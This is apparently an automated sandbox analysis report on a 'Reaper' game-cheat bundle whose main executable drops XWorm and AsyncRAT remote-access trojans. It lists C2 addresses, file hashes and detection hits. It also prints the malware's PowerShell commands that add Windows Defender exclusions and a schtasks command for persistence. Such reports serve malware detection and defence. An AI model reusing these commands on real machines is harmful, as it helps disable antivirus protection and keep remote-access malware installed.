Overview
overview
10Static
static
3Reaper/Bin...er.exe
windows7-x64
3Reaper/Bin...er.exe
windows10-2004-x64
3Reaper/Eas...ts.dll
windows7-x64
1Reaper/Eas...ts.dll
windows10-2004-x64
1Reaper/Reaper.exe
windows7-x64
10Reaper/Reaper.exe
windows10-2004-x64
10Reaper/Scr...3.0.js
windows7-x64
1Reaper/Scr...3.0.js
windows10-2004-x64
1Reaper/Scr...bot.js
windows7-x64
1Reaper/Scr...bot.js
windows10-2004-x64
1Reaper/Scr...bot.js
windows7-x64
1Reaper/Scr...bot.js
windows10-2004-x64
1Reaper/Scr... v2.js
windows7-x64
1Reaper/Scr... v2.js
windows10-2004-x64
1Reaper/Scr...y 2.js
windows7-x64
1Reaper/Scr...y 2.js
windows10-2004-x64
1Reaper/Scr... V3.js
windows7-x64
1Reaper/Scr... V3.js
windows10-2004-x64
1Reaper/injector.dll
windows7-x64
1Reaper/injector.dll
windows10-2004-x64
1Analysis
- max time kernel
122s - max time network
125s - platform
windows7_x64 - resource
win7-20240220-en - resource tags
arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system - submitted
29/04/2024, 01:02
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
Reaper/Bin/FpsUnlocker.exe
Resource
win7-20240215-en
windows7-x64
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
Reaper/Bin/FpsUnlocker.exe
Resource
win10v2004-20240226-en
windows10-2004-x64
2 signatures
150 seconds
Behavioral task
behavioral3
Sample
Reaper/EasyExploits.dll
Resource
win7-20240221-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral4
Sample
Reaper/EasyExploits.dll
Resource
win10v2004-20240226-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral5
Sample
Reaper/Reaper.exe
Resource
win7-20240220-en
windows7-x64
17 signatures
150 seconds
Behavioral task
behavioral6
Sample
Reaper/Reaper.exe
Resource
win10v2004-20240419-en
windows10-2004-x64
18 signatures
150 seconds
Behavioral task
behavioral7
Sample
Reaper/Scripts/Aimbot 3.0.js
Resource
win7-20240215-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral8
Sample
Reaper/Scripts/Aimbot 3.0.js
Resource
win10v2004-20240419-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral9
Sample
Reaper/Scripts/Aimbot.js
Resource
win7-20240221-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral10
Sample
Reaper/Scripts/Aimbot.js
Resource
win10v2004-20240419-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral11
Sample
Reaper/Scripts/CC Aimbot.js
Resource
win7-20240221-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral12
Sample
Reaper/Scripts/CC Aimbot.js
Resource
win10v2004-20240419-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral13
Sample
Reaper/Scripts/Dex Explorer v2.js
Resource
win7-20240221-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral14
Sample
Reaper/Scripts/Dex Explorer v2.js
Resource
win10v2004-20240226-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral15
Sample
Reaper/Scripts/Mad City 2.js
Resource
win7-20231129-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral16
Sample
Reaper/Scripts/Mad City 2.js
Resource
win10v2004-20240419-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral17
Sample
Reaper/Scripts/TopKek V3.js
Resource
win7-20240419-en
windows7-x64
0 signatures
150 seconds
Behavioral task
behavioral18
Sample
Reaper/Scripts/TopKek V3.js
Resource
win10v2004-20240419-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral19
Sample
Reaper/injector.dll
Resource
win7-20240221-en
windows7-x64
1 signatures
150 seconds
Behavioral task
behavioral20
Sample
Reaper/injector.dll
Resource
win10v2004-20240419-en
windows10-2004-x64
1 signatures
150 seconds
General
- Target Reaper/Reaper.exe
- Size 8.4MB
- Sample240429-bd8spadh8y
- SHA256 a8e3cbf1921a2485a307ac0ff2536accc77bc17db386a00e8d67c5537613b321
- MD5 caa418507bb991b91bbfa3e52623c2f4
- SHA1 9e1083e019ca8813024e1e58eac193d7a83b4b48
- SHA512 84e57b9c0d88e67c2ebb3ef89df82b33b4d466b663fa1b43dd0c050b140fbc986135169c8840b4d91ed5921379579a85e743cda27184172a7a7eb87156c61684
- SSDEEP 196608:SRyi9wysiM2+eLNxHPZe/eAwfPjprt/VU3jZoAp/aOROsEh/cH:SRLSIr+eLDvM9YBNMrQsh
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
-
xworm
C2
-
l838.ddns.net:3232
Attributes
-
Install_directory
%Public%
-
install_file
Windows Service Wrapper.exe
Extracted
Family
-
asyncrat
Version
-
L838 RAT v1.0.0
Botnet
-
Default
C2
-
127.0.0.1:54984
-
127.0.0.1:4449
-
l838.ddns.net:54984
-
l838.ddns.net:4449
Mutex
-
azjrpxchkiev
Attributes
-
delay
1
-
install
true
-
install_file
Windows Driver Foundation.exe
-
install_folder
%Temp%
aes.plain
Signatures
- Detect Xworm Payload 2 IoCs
resource yara_rule behavioral5/files/0x00060000000190b3-18.dat family_xworm behavioral5/memory/2820-25-0x0000000000BD0000-0x0000000000BE6000-memory.dmp family_xworm - Async RAT payload 1 IoCs
resource yara_rule behavioral5/files/0x000500000001877f-16.dat family_asyncrat - Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Service Wrapper.lnk Windows Service Wrapper.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Service Wrapper.lnk Windows Service Wrapper.exe - Executes dropped EXE 6 IoCs
pid Process 2504 Reaper.exe 2592 Windows Driver Foundation.exe 2820 Windows Service Wrapper.exe 2572 Windows SmartScreen.exe 1560 Windows SmartScreen.exe 1156 Process not Found - Loads dropped DLL 14 IoCs
pid Process 2728 Reaper.exe 2728 Reaper.exe 2728 Reaper.exe 2728 Reaper.exe 2572 Windows SmartScreen.exe 1560 Windows SmartScreen.exe 1560 Windows SmartScreen.exe 1560 Windows SmartScreen.exe 1560 Windows SmartScreen.exe 1560 Windows SmartScreen.exe 1560 Windows SmartScreen.exe 1560 Windows SmartScreen.exe 2504 Reaper.exe 2504 Reaper.exe -
resource yara_rule behavioral5/files/0x000500000001a427-107.dat upx behavioral5/memory/1560-113-0x000007FEED860000-0x000007FEEDE49000-memory.dmp upx - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Service Wrapper = "C:\\Users\\Public\\Windows Service Wrapper.exe" Windows Service Wrapper.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 4 ip-api.com - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1216 schtasks.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2820 Windows Service Wrapper.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2952 powershell.exe 2196 powershell.exe 716 powershell.exe 2768 powershell.exe 836 powershell.exe - Suspicious use of AdjustPrivilegeToken 48 IoCs
description pid Process Token: SeDebugPrivilege 2952 powershell.exe Token: SeDebugPrivilege 2820 Windows Service Wrapper.exe Token: SeDebugPrivilege 2592 Windows Driver Foundation.exe Token: SeIncreaseQuotaPrivilege 2592 Windows Driver Foundation.exe Token: SeSecurityPrivilege 2592 Windows Driver Foundation.exe Token: SeTakeOwnershipPrivilege 2592 Windows Driver Foundation.exe Token: SeLoadDriverPrivilege 2592 Windows Driver Foundation.exe Token: SeSystemProfilePrivilege 2592 Windows Driver Foundation.exe Token: SeSystemtimePrivilege 2592 Windows Driver Foundation.exe Token: SeProfSingleProcessPrivilege 2592 Windows Driver Foundation.exe Token: SeIncBasePriorityPrivilege 2592 Windows Driver Foundation.exe Token: SeCreatePagefilePrivilege 2592 Windows Driver Foundation.exe Token: SeBackupPrivilege 2592 Windows Driver Foundation.exe Token: SeRestorePrivilege 2592 Windows Driver Foundation.exe Token: SeShutdownPrivilege 2592 Windows Driver Foundation.exe Token: SeDebugPrivilege 2592 Windows Driver Foundation.exe Token: SeSystemEnvironmentPrivilege 2592 Windows Driver Foundation.exe Token: SeRemoteShutdownPrivilege 2592 Windows Driver Foundation.exe Token: SeUndockPrivilege 2592 Windows Driver Foundation.exe Token: SeManageVolumePrivilege 2592 Windows Driver Foundation.exe Token: 33 2592 Windows Driver Foundation.exe Token: 34 2592 Windows Driver Foundation.exe Token: 35 2592 Windows Driver Foundation.exe Token: SeIncreaseQuotaPrivilege 2592 Windows Driver Foundation.exe Token: SeSecurityPrivilege 2592 Windows Driver Foundation.exe Token: SeTakeOwnershipPrivilege 2592 Windows Driver Foundation.exe Token: SeLoadDriverPrivilege 2592 Windows Driver Foundation.exe Token: SeSystemProfilePrivilege 2592 Windows Driver Foundation.exe Token: SeSystemtimePrivilege 2592 Windows Driver Foundation.exe Token: SeProfSingleProcessPrivilege 2592 Windows Driver Foundation.exe Token: SeIncBasePriorityPrivilege 2592 Windows Driver Foundation.exe Token: SeCreatePagefilePrivilege 2592 Windows Driver Foundation.exe Token: SeBackupPrivilege 2592 Windows Driver Foundation.exe Token: SeRestorePrivilege 2592 Windows Driver Foundation.exe Token: SeShutdownPrivilege 2592 Windows Driver Foundation.exe Token: SeDebugPrivilege 2592 Windows Driver Foundation.exe Token: SeSystemEnvironmentPrivilege 2592 Windows Driver Foundation.exe Token: SeRemoteShutdownPrivilege 2592 Windows Driver Foundation.exe Token: SeUndockPrivilege 2592 Windows Driver Foundation.exe Token: SeManageVolumePrivilege 2592 Windows Driver Foundation.exe Token: 33 2592 Windows Driver Foundation.exe Token: 34 2592 Windows Driver Foundation.exe Token: 35 2592 Windows Driver Foundation.exe Token: SeDebugPrivilege 2196 powershell.exe Token: SeDebugPrivilege 716 powershell.exe Token: SeDebugPrivilege 2768 powershell.exe Token: SeDebugPrivilege 836 powershell.exe Token: SeDebugPrivilege 2820 Windows Service Wrapper.exe - Suspicious use of WriteProcessMemory 38 IoCs
description pid Process procid_target PID 2728 wrote to memory of 2952 2728 Reaper.exe 28 PID 2728 wrote to memory of 2952 2728 Reaper.exe 28 PID 2728 wrote to memory of 2952 2728 Reaper.exe 28 PID 2728 wrote to memory of 2952 2728 Reaper.exe 28 PID 2728 wrote to memory of 2504 2728 Reaper.exe 30 PID 2728 wrote to memory of 2504 2728 Reaper.exe 30 PID 2728 wrote to memory of 2504 2728 Reaper.exe 30 PID 2728 wrote to memory of 2504 2728 Reaper.exe 30 PID 2728 wrote to memory of 2592 2728 Reaper.exe 31 PID 2728 wrote to memory of 2592 2728 Reaper.exe 31 PID 2728 wrote to memory of 2592 2728 Reaper.exe 31 PID 2728 wrote to memory of 2592 2728 Reaper.exe 31 PID 2728 wrote to memory of 2820 2728 Reaper.exe 32 PID 2728 wrote to memory of 2820 2728 Reaper.exe 32 PID 2728 wrote to memory of 2820 2728 Reaper.exe 32 PID 2728 wrote to memory of 2820 2728 Reaper.exe 32 PID 2728 wrote to memory of 2572 2728 Reaper.exe 33 PID 2728 wrote to memory of 2572 2728 Reaper.exe 33 PID 2728 wrote to memory of 2572 2728 Reaper.exe 33 PID 2728 wrote to memory of 2572 2728 Reaper.exe 33 PID 2572 wrote to memory of 1560 2572 Windows SmartScreen.exe 34 PID 2572 wrote to memory of 1560 2572 Windows SmartScreen.exe 34 PID 2572 wrote to memory of 1560 2572 Windows SmartScreen.exe 34 PID 2820 wrote to memory of 2196 2820 Windows Service Wrapper.exe 36 PID 2820 wrote to memory of 2196 2820 Windows Service Wrapper.exe 36 PID 2820 wrote to memory of 2196 2820 Windows Service Wrapper.exe 36 PID 2820 wrote to memory of 716 2820 Windows Service Wrapper.exe 38 PID 2820 wrote to memory of 716 2820 Windows Service Wrapper.exe 38 PID 2820 wrote to memory of 716 2820 Windows Service Wrapper.exe 38 PID 2820 wrote to memory of 2768 2820 Windows Service Wrapper.exe 40 PID 2820 wrote to memory of 2768 2820 Windows Service Wrapper.exe 40 PID 2820 wrote to memory of 2768 2820 Windows Service Wrapper.exe 40 PID 2820 wrote to memory of 836 2820 Windows Service Wrapper.exe 42 PID 2820 wrote to memory of 836 2820 Windows Service Wrapper.exe 42 PID 2820 wrote to memory of 836 2820 Windows Service Wrapper.exe 42 PID 2820 wrote to memory of 1216 2820 Windows Service Wrapper.exe 44 PID 2820 wrote to memory of 1216 2820 Windows Service Wrapper.exe 44 PID 2820 wrote to memory of 1216 2820 Windows Service Wrapper.exe 44 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Reaper\Reaper.exe"C:\Users\Admin\AppData\Local\Temp\Reaper\Reaper.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbgBtACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAdgBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAagBuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGYAYwBlACMAPgA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2952
-
-
C:\Users\Admin\AppData\Local\Temp\Reaper.exe"C:\Users\Admin\AppData\Local\Temp\Reaper.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2504
-
-
C:\Users\Admin\Windows Driver Foundation.exe"C:\Users\Admin\Windows Driver Foundation.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2592
-
-
C:\Users\Admin\Windows Service Wrapper.exe"C:\Users\Admin\Windows Service Wrapper.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2820 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Windows Service Wrapper.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2196
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Windows Service Wrapper.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:716
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\Windows Service Wrapper.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2768
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Windows Service Wrapper.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:836
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows Service Wrapper" /tr "C:\Users\Public\Windows Service Wrapper.exe"3⤵
- Creates scheduled task(s)
PID:1216
-
-
-
C:\Users\Admin\Windows SmartScreen.exe"C:\Users\Admin\Windows SmartScreen.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2572 -
C:\Users\Admin\Windows SmartScreen.exe"C:\Users\Admin\Windows SmartScreen.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1560
-
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {9299D797-9DF6-4362-8B4B-4C38B7F159B5} S-1-5-21-2721934792-624042501-2768869379-1000:BISMIZHX\Admin:Interactive:[1]1⤵PID:2152
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\FastColoredTextBox.dll
- Size 323KB
- SHA256 ac926c92ccfc3789a5ae571cc4415eb1897d500a79604d8495241c19acdf01b9
- MD5 8610f4d3cdc6cc50022feddced9fdaeb
- SHA1 4b60b87fd696b02d7fce38325c7adfc9e806f650
- SHA512 693d1af1f89470eab659b4747fe344836affa0af8485b0c0635e2519815e5a498f4618ea08db9dcf421aac1069a04616046207ee05b9ed66c0a1c4a8f0bddd09
- SSDEEP 6144:0R0J4lx4/7BA4xvNdcwCOg04j0y5mwZkdmsqmLDi5eNH+Dl1SIP0:0R0J48lAovNd7CO34D4b4eNO
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Reaper.exe
- Size 42KB
- SHA256 fc69c7aee21fa012c9e9de28e35c20eb9ddf473c0ac0b482faebc203dd97999c
- MD5 c7d407dbbe4d83fc37f2fa4f51276c76
- SHA1 c6f1f596be6a99566d5862a0aa2f16b90eecb05c
- SHA512 ed49a442172bdadd6f91db48db3003c5cb749868e9c40a90e8f6b65cdf4b6899d0132cfd70fb08a248412118353d0b4477606385244b90e0883ecdda213403c5
- SSDEEP 768:KSYRgT5fk4HtF5r5wy+Qa2RvNGGBFL14aLUOyO:KSYWK4teDQa2VNGyFL1DoHO
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\_MEI25722\api-ms-win-core-file-l2-1-0.dll
- Size 22KB
- SHA256 67fd0522cacfc3f5fb90373dd5fb388b6f63035d9a380cac4a3dd3d7801724ed
- MD5 50d07886dd9136e8da57bfde8fa1f69c
- SHA1 17526cd01e870d4087c5aa423e4971c72882e173
- SHA512 7d1b12529f35e1bcd7a858fef4001a4a5e0ff15506789fb3ce56b58427d16c32a9c1768b87b2f66a1b37456a05f8e05ae0b0eddfb4335ae0cb8eda00550175c0
- SSDEEP 192:XrWyhWmUSwv7s8jtGBIYiYF8oDbnPZ2oEhZnpH3GCwgEfayHjuHyOMkqN:XrWyhWmU8JIYiaHZ8ZpH3GCJEiyyHLe
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\_MEI25722\api-ms-win-core-localization-l1-2-0.dll
- Size 22KB
- SHA256 3cbc6f8cc2a014c9c6e87ca05dd0e9e0884da58afdc53b589b3d7172c4403ed7
- MD5 ab169047e1a0fcf3c98be20b451cb13e
- SHA1 a286836c85ae43ed5c79b9875f97abdadf57b560
- SHA512 c8e27ebd9335f7f34919e841f9834fa687f822d4289b47c20283e37f4a499008668bafd12e1f742597a6c8623312fc41881c18a56b9062a2a609dbb55f0cd17c
- SSDEEP 384:1naOMw3zdp3bwjGzue9/0jCRrndb7WyhW6U8JIYiaHZ8ZpH3GCJEUyjm:EOMwBprwjGzue9/0jCRrndbhsYiQZiRr
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\_MEI25722\api-ms-win-core-processthreads-l1-1-1.dll
- Size 22KB
- SHA256 a5aa6755860602c58c0edb1353c965e6f0ba58e7276ba6fb5a0b961fb274d125
- MD5 5132f7fe729791081561426904d45e76
- SHA1 56fba2baed4123bf4be7be1c5344f95e6bd9db9c
- SHA512 b12e981ddb608049456dbfc0bb77350819f42caf0da457ad778bb9ded3979503ce6713d366547ac3f949ebdc01d0775da1d726fd367b11b8680a472017f59cc6
- SSDEEP 384:brDfIegWyhW6U8JIYiaHZ8ZpH3GCJEOyHs3j:0eoMYiQZiRBEOXj
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\_MEI25722\api-ms-win-core-timezone-l1-1-0.dll
- Size 22KB
- SHA256 c67dd8ed74c0a207c980caa6bb453e62180a71af175feeb42c2c926ecb911e0a
- MD5 1ee744ceca8da8dba0dc27f25125242c
- SHA1 4c168b8673cfabbbbcf00195cf0db7b640a0289f
- SHA512 d17b8f1419e3f77729c686d4fe79feb08368953e0997ef67217e829456e1c13dde5d9e7a0c35d117d1ae4d40f37e160cb6390b45242c0308d809dfdadb3155f9
- SSDEEP 384:lrWyhWaU8JIYiaHZ8ZpH3GCJE/y1F13L2:zAYiQZiRBE/gpS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\_MEI25722\python311.dll
- Size 1.6MB
- SHA256 7e1370058177d78a415b7ed113cc15472974440d84267fc44cdc5729535e3967
- MD5 5792adeab1e4414e0129ce7a228eb8b8
- SHA1 e9f022e687b6d88d20ee96d9509f82e916b9ee8c
- SHA512 c8298b5780a2a5eebed070ac296eda6902b0cac9fda7bb70e21f482d6693d6d2631ca1ac4be96b75ac0dd50c9ca35be5d0aca9c4586ba7e58021edccd482958b
- SSDEEP 24576:IzvTIooNigMzmPPExBYeZ0pqJx5F7vYNBw5K2RH9lVggq4lUTNeTVZXo3uYIPDhh:C9oNizvxB3ZAEx5ONCVwXUmeTVlv
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\_MEI25722\ucrtbase.dll
- Size 1.1MB
- SHA256 ed570898508c9d9186052157106b6dd9722bed47a27ecfeb424386c8970d81da
- MD5 28146c66076a266e93956111981cad4e
- SHA1 44797bab4d3d3a8ccdb9df3a519cd3dbef838c31
- SHA512 078c8d6595b0afcee215a44ef9caa82f990ef2bf5dadb8fd84d83ac89839abeee1f9ce250e80b77cbbdde5d13688ed345da1f4bf22958490e645c074d2453f85
- SSDEEP 24576:QJG9DZM19A7ieC9dQ8dDtLV8+BaC6EOx/cEz5RmxvSZX0ypHNHU:z/qtvdhq+BaPHxxde
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P6D0B47A9LZLEX4CE9DT.temp
- Size 7KB
- SHA256 89f0720d48354e945aba9fe6e8bd9f45344d627fc8ba65df9a6f7a0d819d2af6
- MD5 571977cefd43178740704e5fe1a61d0f
- SHA1 6738eceed96aae8068b8b1c56520baf135083925
- SHA512 c9f5b2a61d4f61fc380ec8d5634ba0b14b08451b9ae178365f54caa99b534ec1eca7823472aad2e49c489de7d06ee44dbb946712451d6880f59acbcd0bc88200
- SSDEEP 96:led0PCBM8cvnqvsqvJCwoied0PCBM8cvnqvsEHyqvJCwordPa4UvQHmHH7RPxvXh:800cUol00cAHnordP6Ln7RP5x
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\Windows Driver Foundation.exe
- Size 74KB
- SHA256 c98143abbb039d75adadefe62be076f46158aa0940bc65aafacfd6f820e35f50
- MD5 c5ea5fa22d8571f115e2dfa305b10ce9
- SHA1 79a50e4b62f4354ea69f5095303d584479e29648
- SHA512 7d0e32883bff42a7bf8f86d0cba346574c41e869ba85c872737c62fac9f77f403acbf503db389db22643ca8a7c8cf6f9da1f7649abf4738b242a6b22f822d1a8
- SSDEEP 1536:tUTKcx89CgCB0PMVye9VdQuDI6H1bf/ljs6OHcxuQzcNLVclN:tUucx89Je0PMVye9VdQsH1bfhs6tuQci
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\Windows Service Wrapper.exe
- Size 63KB
- SHA256 d5bad2e5f00b8222e1ac18fdf3de1a2341e0c9aa6744c193cc559c3e8e9d918b
- MD5 fe91437565d502ee577c5853977b9f33
- SHA1 226fb71ae3fb3496f903601b4efe04e88949bd3a
- SHA512 e3839f327edf6903bdca6670be8da0dfd43dec49c69ee1c4fc7b6b383916e0a6eb35a7f789efae685045bc2103e89b50cacbe10368a7d2f38db4c0ade8f58697
- SSDEEP 1536:G58wU4efe5zekyTNXLE4DrGbfmj+d9Tf6PUOTXj3qN:E8H4AetiTNXLEJbfZmUOL+N
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\_MEI25722\api-ms-win-core-file-l1-2-0.dll
- Size 22KB
- SHA256 0b7a730b6b10c9d2e2fe1b9b4419b1fc60db9074a0c6f830e1b2da4d0f65fe88
- MD5 8d1531275b769c1bd485440214bfaf82
- SHA1 c8bb901b148522595cd78f1e12f61730bfa3d9df
- SHA512 55914f424c400208b0d2c4d6cafa355aecf4697d3a6bf4032fe298214ed3565013c969b1e23d91cdf995dad46760c80e3a0a3abc062b3084b2bb4bc83a90995f
- SSDEEP 384:U7WWyhWvU8JIYiaHZ8ZpH3GCJEjyDwnyr:U7avYiQZiRBEjBI
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\Windows SmartScreen.exe
- Size 7.9MB
- SHA256 c728d0df78c2c46946c59843bd7154a4d43deb859d52356bc3f204e8b59fee59
- MD5 c3356110da4fbcda8b38cef09d864881
- SHA1 6fab55baa9d1a82cf48180139e60c7c9eb0fd201
- SHA512 567274dce882fa193a6d57d44518bbea505b729f20e209c9885014c462cfe96fbdcde8e4775ae777d47468d4bd0b70c805a19abf2199bced5c0a8d5248e1bd45
- SSDEEP 196608:sUQsgXyHbT/9bvLz3S1bA32ZQT+OqwvkYPdl:bEmbTlj3S1bO2Zi+OqNwl
- MD5 SHA1 SHA512 SSDEEP